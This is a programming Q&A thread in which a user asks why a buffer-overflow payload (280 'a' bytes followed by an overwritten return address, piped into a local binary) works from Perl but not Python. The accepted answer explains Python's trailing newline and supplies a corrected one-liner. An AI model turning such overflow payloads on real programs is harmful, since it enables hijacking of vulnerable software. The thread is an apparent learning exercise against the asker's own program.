Why my exploit in perl work but it doesn't in python

Question

I'm trying to exploit a buffer overflow. I don't think it's useful to post my program in C. This exploit work:

(perl -e 'print "a" x 280 . "\xf6\x06\x40\x00\x00\x00\x00\x00"' ; cat) | ./a.out

But this one doesn't

(python -c 'print("a"*280+"\xf6\x06\x40\x00\x00\x00\x00\x00")'; cat) | ./a.out

I don't see anything different except the language I use. Does anyone can tell me if is there a difference ?

Thanks

eddiem · Accepted Answer · 2016-11-19 04:57:20Z

1

Yes, there is a difference. Perl's print function doesn't print a newline by default, while Python's does. In Python, try:

(python -c 'import sys ; sys.stdout.write("a"*280+"\xf6\x06\x40\x00\x00\x00\x00\x00")'; cat) | ./a.out

answered Nov 19, 2016 at 4:57

eddiem

1,0306 silver badges9 bronze badges

Sign up to request clarification or add additional context in comments.

1 Answer 1